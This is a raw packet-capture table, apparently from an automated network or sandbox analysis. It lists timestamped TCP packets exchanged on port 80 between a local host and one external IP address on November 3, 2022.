Nov 3, 2022 12:46:48.682179928 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.682220936 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.682255983 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.682265043 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.682307959 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.682349920 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.682349920 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.682394028 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.682431936 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.682435036 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.682477951 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.682518005 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.682523012 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.682559013 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.682600975 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.682606936 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.682643890 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.682683945 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.682686090 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.682728052 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.682765961 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.682769060 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.682811022 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.682851076 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.682857990 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.682924032 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.682965994 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.682966948 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.683006048 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.683047056 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.683047056 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.683089972 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.683131933 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.683131933 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.683173895 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.683214903 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.683223963 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.683259010 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.683295965 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.683299065 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.683339119 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.683379889 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.683387995 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.683423042 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.683459044 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.683463097 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.683505058 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.683547974 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.741477013 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.741555929 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.741599083 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.741645098 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.741673946 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.741715908 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.741756916 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.741770983 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.741799116 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.741810083 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.741847038 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.741889000 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.741894960 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.741931915 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.741971970 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.741977930 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.742012978 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.742052078 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.742057085 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.742099047 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.742141008 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.742142916 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.742182016 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.742222071 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.742224932 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.742264032 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.742304087 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.742306948 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.742345095 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.742383957 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.742387056 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.742424965 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.742465019 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.742469072 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.742505074 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.742544889 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.742548943 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.742584944 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.742624998 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.742626905 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.742666006 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.742706060 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.742708921 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.742747068 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.742788076 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.742794991 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.742826939 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.742866993 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.742868900 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.742940903 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.742980957 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.742996931 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.743021965 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.743066072 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.743069887 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.743113995 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.743154049 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.743191004 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.743194103 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.743232965 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.743237019 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.743282080 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.743324041 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.743329048 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.743364096 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.743406057 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.743410110 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.743444920 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.743484974 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.743488073 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.743525028 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.743565083 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.743567944 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.743604898 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.743647099 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.800367117 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.800462008 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.800527096 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.800545931 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.800589085 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.800652027 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.800687075 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.800710917 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.800755024 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.800765991 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.800825119 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.800868034 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.800887108 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.800950050 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.800997019 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.801002979 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.801043987 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.801083088 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.801084042 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.801122904 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.801161051 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.801162004 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.801202059 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.801243067 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.801246881 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.801285028 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.801326036 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.801327944 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.801369905 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.801409960 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.801412106 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.801450014 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.801490068 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.801491976 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.801531076 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.801572084 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.801573038 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.801615000 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.801664114 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.801676989 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.801724911 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.801764011 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.801774025 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.801805019 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.801843882 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.801847935 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.801883936 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.801923990 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.801924944 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.801964998 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.802005053 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.802006006 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.802047014 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.802087069 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.802090883 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.802126884 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.802166939 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.802170992 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.802206039 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.802246094 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.802253008 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.802287102 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.802328110 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.802330971 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.802370071 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.802409887 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.802417040 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.802449942 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.802490950 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.802491903 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.802531958 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.802572012 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.802577019 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.802612066 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.802654982 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.859347105 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.859379053 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.859397888 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.859411955 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.859425068 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.859437943 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.859456062 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.859472990 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.859491110 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.859508991 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.859525919 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.859543085 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.859563112 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.859570980 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.859575987 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.859594107 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.859611034 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.859625101 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.859642982 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.859661102 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.859667063 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.859667063 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.859667063 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.859667063 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.859674931 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.859693050 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.859709978 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.859723091 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.859729052 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.859745979 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.859762907 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.859762907 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.859802961 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.916598082 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.916677952 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.973288059 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.973345041 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.983870029 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.992986917 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.993046999 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.049812078 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.049877882 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.060157061 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.068445921 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.068514109 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.126336098 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.126365900 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.137099028 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.137154102 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.137171984 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.137190104 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.137200117 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.137207985 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.137226105 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.137228966 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.137243032 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.137268066 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.137269020 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.137276888 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.137284994 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.137298107 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.137310028 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.137316942 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.137331009 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.137336016 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.137352943 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.137356997 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.137370110 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.137384892 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.137402058 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.137406111 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.137419939 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.137438059 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.137443066 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.137455940 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.137456894 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.137474060 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.137491941 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.137492895 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.137509108 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.137526035 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.137528896 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.137542963 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.137561083 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.137562990 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.137578011 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.137594938 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.137600899 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.137612104 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.137629986 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.137634039 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.137646914 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.137664080 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.137670040 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.137681007 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.137697935 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.137706041 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.137716055 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.137733936 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.137741089 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.137751102 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.137763977 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.137768984 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.137787104 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.137804985 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.137806892 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.137821913 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.137837887 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.137844086 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.137856007 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.137872934 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.137880087 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.137891054 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.137907982 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.137922049 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.137924910 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.137942076 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.137948990 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.137959003 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.137975931 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.137979984 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.137994051 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.138010979 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.138017893 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.138027906 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.138046026 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.138051033 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.138062954 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.138081074 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.138086081 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.138098001 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.138114929 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.138120890 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.138153076 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.138200045 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.138219118 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.138237000 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.138254881 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.138262033 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:49.138273954 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.138292074 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:49.138294935 CET	49704	80	192.168.2.6	193.106.191.15
